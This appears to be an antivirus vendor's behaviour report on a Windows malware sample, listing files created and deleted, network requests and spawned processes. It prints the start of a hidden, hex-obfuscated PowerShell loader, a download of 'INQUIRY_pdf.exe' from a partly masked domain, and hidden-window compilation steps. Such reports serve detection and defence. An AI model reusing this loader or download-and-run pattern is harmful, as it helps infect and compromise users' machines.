Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function m31c6d6 {param($k5c28)$ob2a77d='l16ccd';$pb817f='';for ($i=0; $i -lt $k5c28.length;$i+=2){$g6fb23=[convert]::ToByte($k5c28.Substring($i,2),16);$pb817f+=[char]($g6...
Modifies file system
Creates the following files
- %TEMP%\zhawslr5.0.cs
- %TEMP%\zhawslr5.cmdline
- %TEMP%\zhawslr5.out
- %TEMP%\csc428a.tmp
- %TEMP%\res429b.tmp
- %TEMP%\zhawslr5.dll
- %APPDATA%\xfdd6.exe
Deletes the following files
- %TEMP%\res429b.tmp
- %TEMP%\csc428a.tmp
- %TEMP%\zhawslr5.dll
- %TEMP%\zhawslr5.cmdline
- %TEMP%\zhawslr5.out
- %TEMP%\zhawslr5.0.cs
- %TEMP%\zhawslr5.pdb
Network activity
TCP
HTTP GET requests
- http://ke####group.info/exploit/INQUIRY_pdf.exe
- http://ke####group.info/cgi-sys/suspendedpage.cgi
UDP
- DNS ASK ke####group.info
Miscellaneous
Creates and executes the following
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zhawslr5.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES429B.tmp" "%TEMP%\CSC428A.tmp"' (with hidden window)
Executes the following
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zhawslr5.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES429B.tmp" "%TEMP%\CSC428A.tmp"
